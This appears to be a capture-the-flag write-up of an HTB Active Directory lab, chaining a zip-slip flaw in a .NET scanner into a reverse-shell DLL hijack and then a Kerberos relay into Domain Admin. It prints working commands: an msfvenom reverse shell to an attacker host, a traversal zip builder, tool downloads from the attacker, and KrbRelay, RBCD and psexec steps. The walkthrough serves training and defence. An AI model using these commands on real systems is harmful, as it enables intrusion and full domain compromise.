HTB Bruno — Zip-Slip RCE to Kerberos Relay Domain Admin
Bruno is a Windows Active Directory box built around a single bad assumption: that a "malware scanner" service can safely extract whatever zip a low-privileged share drops in front of it. That assumption gets us a foothold as svc_scan. From there, the absence of LDAP signing and a permissive MachineAccountQuota let us turn a Kerberos relay through a COM-activated service into Domain Admin.
Reconnaissance
Started with a full TCP/service scan against the DC.
nmap -sC -sV -A -oA nmap <MACHINE-IP>
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135,139,389,445,464,593,636,3268,3269,3389 ...
The Kerberos, LDAP, and SMB ports confirm this is a Domain Controller — hostname BRUNODC, domain bruno.vl. Anonymous FTP being open immediately stood out as the most interesting entry point, since it's rare to see writable FTP directly on a DC.
Anonymous FTP Enumeration
Anonymous login worked straight away:
ftp <MACHINE-IP>
Name: anonymous
Password:
230 User logged in.
Listing the root showed four directories: app, benign, malicious, and queue. That naming convention — queue / benign / malicious — is a strong signal this is a file-scanning pipeline: something watches queue, decides if a sample is malicious, and routes it accordingly.
ftp> ls
06-19-26 07:04AM <DIR> app
06-19-26 07:01AM <DIR> benign
06-29-22 01:41PM <DIR> malicious
06-19-26 07:44AM <DIR> queue
app contained a self-contained .NET binary (SampleScanner.exe/.dll and the usual .deps.json/runtimeconfig files) and a changelog:
Version 0.3
- integrated with dev site
- automation using svc_scan
Version 0.2
- additional functionality
Version 0.1
- initial support for EICAR string
The changelog confirms the automation account is svc_scan — useful for later Kerberos attacks.
Decompiling the Scanner
SampleScanner.dll is a small .NET Core 3.1 assembly, easily decompiled:
ilspycmd SampleScanner.dll
The logic is straightforward and, critically, unsafe:
string[] files = Directory.GetFiles("C:\\samples\\queue\\", "*", SearchOption.AllDirectories);
foreach (string text2 in files)
{
if (text2.EndsWith(".zip"))
{
using ZipArchive zipArchive = ZipFile.OpenRead(text2);
foreach (ZipArchiveEntry entry in zipArchive.Entries)
{
string destinationFileName = Path.Combine("C:\\samples\\queue\\", entry.FullName);
entry.ExtractToFile(destinationFileName);
}
File.Delete(text2);
}
else if (PatternAt(File.ReadAllBytes(text2), bytes).Any())
{
File.Copy(text2, text2.Replace("queue", "malicious"), overwrite: true);
File.Delete(text2);
}
else
{
File.Copy(text2, text2.Replace("queue", "benign"), overwrite: true);
File.Delete(text2);
}
}
This is a classic zip-slip. The extraction path is built with Path.Combine("C:\\samples\\queue\\", entry.FullName) and entry.FullName comes straight from the archive with no normalization or containment check. Any zip entry name containing ../ segments lets us write a file outside the queue directory — including back into app, where the live scanner binaries live.
Second find while decompiling: going through the rest of the unpacked files, SampleScanner.runtimeconfig.dev.json leaked a build-time artifact - a hit for a second valid domain username baked into the binary from whoever compiled it on their own machine:
"additionalProbingPaths": [
"C:\\Users\\xct\\.dotnet\\store\\|arch|\\|tfm|",
"C:\\Users\\xct\\.nuget\\packages"
]
That's xct. It's a free second username for AS-REP roasting, so I added it to a users wordlist alongside svc_scan (from the changelog) and used that combined list for GetNPUsers in the next section. Worth always doing a quick grep through any shipped .deps.json/runtimeconfig files and decompiled source for stray paths, usernames, or comments like this - it's exactly the kind of leak that pads out a roasting wordlist for free.
cat users
svc_scan
xct
Initial Foothold
Null sessions and AS-REP roasting
SMB null/anonymous auth worked for basic recon:
nxc smb <MACHINE-IP> -u '' -p ''
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\: (Null Auth:True)
Shares weren't enumerable yet, and user enum via null auth came back empty, but between the app changelog (svc_scan) and the leaked build path in SampleScanner.runtimeconfig.dev.json (xct), the users wordlist had two solid candidates. AS-REP roasting against accounts with DONT_REQ_PREAUTH paid off:
impacket-GetNPUsers bruno.vl/ -usersfile users -no-pass -dc-ip <MACHINE-IP>
$krb5asrep$23$svc_scan@BRUNO.VL:b127a5cfe3288b3cef52a1f293357218$8e28a59d6cc5...
Cracked offline with John:
john asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
john asrep.hash --show
$krb5asrep$23$svc_scan@BRUNO.VL:Sunshine1
svc_scan:Sunshine1 checked out against SMB:
nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
Reaching the queue share
With valid creds, shares opened up — and queue was writable:
nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1 --shares
SMB ... queue READ,WRITE
SMB ... CertEnroll READ
SMB ... NETLOGON READ
SMB ... SYSVOL READ
This confirmed the plan: the FTP queue directory and the SMB queue share are the same backend folder the scanner polls.
Building the zip-slip payload
Generated a reverse shell DLL with msfvenom, matching the size/shape of a legitimate hostfxr.dll closely enough to not look obviously wrong if anyone glanced at file listings:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER-IP> LPORT=4444 -f dll -o hostfxr.dll
Then packed it into a zip with a traversal path as the entry name, using Python's zipfile so I controlled the exact entry name (the OS zip CLI normalizes ../ and would have defeated the attack):
import zipfile
with open('hostfxr.dll', 'rb') as f:
hostfxr = f.read()
with zipfile.ZipFile('rev-shell.zip', 'w') as zip:
zip.writestr('../app/hostfxr.dll', hostfxr)
Uploaded it to the writable share:
smbclient //<MACHINE-IP>/queue -U svc_scan%Sunshine1
smb: \> put rev-shell.zip
Started a listener and an SMB/HTTP server, then waited for the scanner's polling cycle to pick up the zip from queue, extract it (writing our malicious hostfxr.dll into app, where none existed before), and delete the source zip. The next time anything in app invokes the .NET host, our payload DLL gets loaded instead — and the reverse shell connects back as svc_scan.
whoami
bruno\svc_scan
Confirming the DLL Load Behavior Locally with Process Monitor
I built an identical directory structure on my own Windows VM - C:\samples\app populated with the same downloaded SampleScanner.exe/.dll and supporting files, mirroring the FTP layout exactly — executed SampleScanner.exe locally, and watched its actual file resolution order under Process Monitor.
Filtered Procmon down to Path ends with .dll, with the usual noise processes (Procmon/Procexp/Autoruns/System) and registry/FastIO operations excluded:
With the filter applied, the very first events show the app probing for its own runtime host before falling back to the globally installed one:
SampleSc... 3428 CreateFile C:\samples\app\hostfxr.dll NAME NOT FOUND
SampleSc... 3428 CreateFile C:\Program Files\dotnet\coreclr.dll NAME NOT FOUND
SampleSc... 3428 CreateFile C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.32\advapi32.dll NAME NOT FOUND
...
Analyzing a second run, after the bundled CLR runtime resolved normally, shows the same app\hostfxr.dll probe still missing locally, immediately followed by a successful resolution against the real, version-pinned hostfxr install:
SampleSc... 1840 CreateFile C:\samples\app\hostfxr.dll NAME NOT FOUND
SampleSc... 1840 CreateFile C:\Program Files\dotnet\host\fxr\8.0.8\hostfxr.dll SUCCESS
SampleSc... 1840 QueryNetworkOpenData ... SUCCESS
SampleSc... 1840 CloseFile ... SUCCESS
This local analysis confirms exactly why the zip-slip overwrite works: the apphost's runtime resolver checks for hostfxr.dll next to the executable in app first, before ever falling through to the real dotnet install under Program Files. On the live box that local probe always came back NAME NOT FOUND - there was never a legitimate hostfxr.dll sitting in app to begin with, so the slot was simply empty and waiting. Once our zip-slip write drops a payload DLL at C:\samples\app\hostfxr.dll, that first probe succeeds instead of missing, the resolver never reaches the real runtime path, and our DLL gets loaded and executed in-process the next time the scanner runs — classic DLL search-order hijacking, just triggered through a file-write bug instead of a writable PATH directory.
Privilege Escalation
Situational awareness
whoami /priv
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeMachineAccountPrivilege shows up but disabled — the right to add computer accounts is generally available to all domain users by default anyway, gated by MachineAccountQuota, not by this token privilege. Checked the quota and LDAP channel security over LDAP itself:
nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1 -M maq
MAQ <MACHINE-IP> 389 BRUNODC MachineAccountQuota: 10
nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1
LDAP <MACHINE-IP> 389 BRUNODC (signing:None) (channel binding:Never)
That's the second flaw: no LDAP signing and no channel binding, paired with a non-zero MachineAccountQuota. This is the textbook setup for a Kerberos relay attack using a COM-coercion primitive (KrbRelayUp) to force a SYSTEM-level Kerberos authentication that we relay to LDAP on the DC itself.
Pulling the tooling and enumerating CLSIDs
KrbRelayUp needs a local, SYSTEM-running DCOM service whose CLSID we can activate to coerce a Kerberos authentication. Pulled the compiled KrbRelayUp.exe/KrbRelay.exe from SharpCollection and the CLSID enumeration script from juicy-potato onto the box:
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelayUp.exe" -OutFile "C:\temp\KrbRelayUp.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelay.exe" -OutFile "C:\temp\KrbRelay.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GetCLSID.ps1" -OutFile "C:\temp\GetCLSID.ps1"
Ran the script to dump every locally registered AppID/CLSID pair tied to a Windows service:
.\GetCLSID.ps1
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
HKCR Registry HKEY_CLASSES_ROOT
Looking for CLSIDs
Looking for APIDs
Joining CLSIDs and APIDs
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/19/2026 12:06 PM 3200 CLSID.list
-a---- 6/19/2026 12:06 PM 7697 CLSIDs.csv
The script produces a directory containing two files - CLSID.list (a flat list of CLSID GUIDs) and CLSIDs.csv (the same CLSIDs joined against their owning AppID and the local service name that registers them). CLSIDs.csv came back with roughly 70 candidate entries, far too many to test by hand one at a time, so instead of manually instantiating each one I wrote a small filtering script that cross-references every CLSID against currently running services and actually attempts [System.Activator]::CreateInstance() on each, surfacing only the ones that succeed, are access-denied, or are unavailable:
Import-Csv "Windows_Server_2022_Datacenter\CLSIDs.csv" | ForEach-Object {
$serviceName = $_.LocalService
$clsid = $_.CLSID.Trim("{}")
$svc = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
if ($svc -and $svc.Status -eq 'Running') {
try {
$type = [Type]::GetTypeFromCLSID([Guid]$clsid)
[System.Activator]::CreateInstance($type) | Out-Null
Write-Host "$serviceName | $clsid | [SUCCESS]" -ForegroundColor Green
} catch { ... }
}
}
CertSvc | D99E6E73-FC88-11D0-B498-00A0C90312F3 | [SUCCESS]
UsoSvc | 84C80796-F07C-4340-8897-DA954AADBF16 | [Class Not Available]
vds | 7D1933CB-86F6-4A98-8628-01BE94C9A575 | [Access Denied]
CertSvc (Active Directory Certificate Services, running as NT AUTHORITY\SYSTEM) instantiated cleanly - that's our coercion primitive. Anything that triggers this CLSID forces the local SYSTEM account to authenticate over Kerberos, and because LDAP signing is disabled, that authentication can be relayed straight into an LDAP session on the DC with full SYSTEM-equivalent rights.
Relay path 1: KrbRelayUp end-to-end (RBCD)
Tried the all-in-one KrbRelayUp path first - create a new computer account and grant it Resource-Based Constrained Delegation (RBCD) rights over the DC computer object in one shot:
.\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName 'damn$' -ComputerPassword damned12 -cls D99E6E73-FC88-11D0-B498-00A0C90312F3
[+] Computer account "damn$" added with password "damned12"
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relaying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
KrbRelayUp creates the computer account damn$, coerces SYSTEM auth via the CertSvc CLSID, relays that auth to LDAP, and writes RBCD permissions so damn$ can delegate to BRUNODC$. With RBCD configured, the spawn subcommand requests a service ticket on damn$'s behalf impersonating Administrator, and uses it to stand up a SYSTEM service:
.\KrbRelayUp.exe spawn -m rbcd -d bruno.vl -dc brunodc.bruno.vl -cn damn$ -cp damned12
[+] S4U2self success!
[+] Got a TGS for 'Administrator' to 'damn$@BRUNO.VL'
[+] S4U2proxy success!
[+] KrbSCM Service created
[+] KrbSCM Service started
[+] Clean-up done
This step is timing-sensitive against the relay/auth coercion, and it intermittently fails to spawn a usable SYSTEM shell even when the RBCD write itself succeeded - worth knowing going in, since it cost a fair bit of retrying before falling back to a second path.
Relay path 2: manual S4U + KrbRelay password reset (reliable fallback)
When KrbRelayUp spawn didn't return a shell, the RBCD rights were already in place from the first run, so the rest of the chain can be driven manually with Impacket, which is far more deterministic than spawn.
Grab the computer account's SID (used to scope the RBCD delegation target):
(Get-ADComputer -Identity $(hostname)).SID.Value
S-1-5-21-1536375944-4286418366-3447278137-1000
Now perform password reset using KrbRealy.exe
.\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid D99E6E73-FC88-11D0-B498-00A0C90312F3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5104 -ssl -port 10246 -reset-password administrator gotyou12
[*] Relaying context: bruno.vl\BRUNODC$
[*] Forcing SYSTEM authentication
[+] LDAP session established
[*] ldap_modify: LDAP_UNWILLING_TO_PERFORM
[*] ldap_modify: LDAP_SUCCESS
The key signal here is the trailing ldap_modify: LDAP_SUCCESS. KrbRelay logs one LDAP_UNWILLING_TO_PERFORM line as part of an internal retry/permission probe, but as long as the final modify returns LDAP_SUCCESS, the Administrator password has actually been changed to the value passed in (gotyou12 in this run). This step is also a little flaky — a run can come back clean on every line and still not have actually applied, so it's worth re-running once or twice and confirming success on every relevant LDAP operation before moving on.
SYSTEM via Kerberos-authenticated PsExec
With a fresh Administrator credential in hand, authenticate over Kerberos (no NTLM needed) and get a SYSTEM shell with Impacket's PsExec:
Request a forwardable ticket for damn$, then use S4U2self/S4U2proxy to impersonate Administrator against host/brunodc.bruno.vl:
impacket-getST -dc-ip <MACHINE-IP> -spn host/brunodc.bruno.vl -impersonate Administrator bruno.vl/damn$:damned12
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache
With that ticket cached, use KrbRelay (not KrbRelayUp) to trigger the same CertSvc CLSID coercion and relay the resulting SYSTEM Kerberos auth into an LDAP modify that resets the domain Administrator's password — using the RBCD rights on damn$ to authorize the action:
export KRB5CCNAME=Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache
impacket-psexec -k -no-pass bruno.vl/Administrator@brunodc.bruno.vl -dc-ip <MACHINE-IP>
[*] Found writable share ADMIN$
[*] Creating service GMTw on brunodc.bruno.vl.....
[*] Starting service GMTw.....
C:\Windows\system32> whoami
nt authority\system
Flag retrieval:
C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Why the Privesc Actually Works
Worth spelling out the chain in plain terms, since it isn't a single CVE but a combination of three separate misconfigurations:
- No LDAP signing / no channel binding on the DC means any Kerberos authentication captured locally can be relayed into an authenticated LDAP session without the DC detecting tampering or rejecting the relayed signature.
-
A non-zero
MachineAccountQuota(10, well above the 0 a hardened domain would set) lets any authenticated domain user — includingsvc_scan— create new computer accounts at will, which is the relay's landing point. -
A locally activatable, SYSTEM-running COM service (
CertSvc) gives us a reliable way to coerce a SYSTEM-context Kerberos authentication on demand, which is the thing actually getting relayed.
Chain it together: coerce SYSTEM's Kerberos auth via the CertSvc CLSID → relay it to LDAP, which the DC accepts unsigned → use that session to grant RBCD rights to a computer account we control → use RBCD to mint a service ticket impersonating Administrator → use that ticket-authenticated LDAP session to reset Administrator's password (or, in the cleaner path, just use the ticket directly for SYSTEM-level service control). Any one of the three conditions being fixed (LDAP signing enforced, quota set to 0, or the CLSID hardened/unavailable to non-admins) breaks the chain.
References
-
SharpCollection — precompiled
KrbRelayUp.exe/KrbRelay.exebinaries -
juicy-potato
GetCLSID.ps1— local CLSID/AppID enumeration script - Microsoft Security Blog — Detecting and preventing privilege escalation attacks leveraging Kerberos relaying (KrbRelayUp)
Tools Used
-
nmap— service/version recon -
ftp/ anonymous FTP client — initial file disclosure -
ilspycmd— .NET decompilation ofSampleScanner.dll -
smbclient/nxc(NetExec) — SMB enumeration and file upload -
impacket-GetNPUsers— AS-REP roasting -
john/hashcat— offline hash cracking -
msfvenom— reverse shell DLL payload - Python
zipfile— crafting the zip-slip archive -
GetCLSID.ps1(juicy-potato) — CLSID/service enumeration -
KrbRelayUp/KrbRelay(SharpCollection) — Kerberos relay, RBCD, password reset -
impacket-getST— S4U2self/S4U2proxy ticket request -
impacket-psexec— Kerberos-authenticated SYSTEM shell
Attack Chain
| Step | Action | Result |
|---|---|---|
| 1 | Anonymous FTP recon | Discovered scanner app, queue/benign/malicious workflow, svc_scan account name |
| 2 | Decompiled SampleScanner.dll
|
Identified unsanitized zip extraction (zip-slip) and leaked xct username |
| 3 | AS-REP roast + crack svc_scan
|
Obtained svc_scan:Sunshine1
|
| 4 | Uploaded crafted zip to writable queue SMB share |
Wrote malicious app\hostfxr.dll (slot previously empty) |
| 5 | Scanner cycle triggered payload | Reverse shell as bruno\svc_scan
|
| 6 | Rebuilt directory structure locally, ran SampleScanner.exe under Procmon |
Confirmed hostfxr.dll search-order hijack mechanism |
| 7 | Enumerated MachineAccountQuota + LDAP signing state | Confirmed relay-friendly LDAP config |
| 8 | Downloaded KrbRelayUp/KrbRelay/GetCLSID.ps1, ran CLSID enumeration + filtering script | Found CertSvc CLSID activatable as SYSTEM |
| 9 | KrbRelayUp: created computer account + RBCD | Delegation rights granted to damn$
|
| 10 |
impacket-getST S4U2self/S4U2proxy |
Ticket impersonating Administrator |
| 11 | KrbRelay password reset over relayed LDAP | Administrator password changed |
| 12 |
impacket-psexec with Kerberos ticket |
SYSTEM shell, root flag |
Key Vulnerabilities
| Vulnerability | Component | Impact |
|---|---|---|
Zip-slip (unsanitized ZipArchiveEntry.FullName) |
SampleScanner.dll custom scanner |
Arbitrary file write/overwrite as the scanner's service account |
| Leaked developer username in build artifact | SampleScanner.runtimeconfig.dev.json |
Expanded AS-REP roasting wordlist (xct) |
AS-REP roastable account (DONT_REQ_PREAUTH) |
svc_scan |
Offline-crackable credential exposure |
| Writable SMB share aligned with scanner input queue |
queue share |
RCE staging via the zip-slip flaw |
| Disabled LDAP signing / channel binding | Domain Controller LDAP | Kerberos relay to LDAP without signature validation |
Non-zero MachineAccountQuota
|
Active Directory | Arbitrary computer account creation enabling RBCD abuse |
Locally activatable SYSTEM COM service (CertSvc CLSID) |
AD CS | Reliable SYSTEM Kerberos auth coercion primitive |
Top comments (0)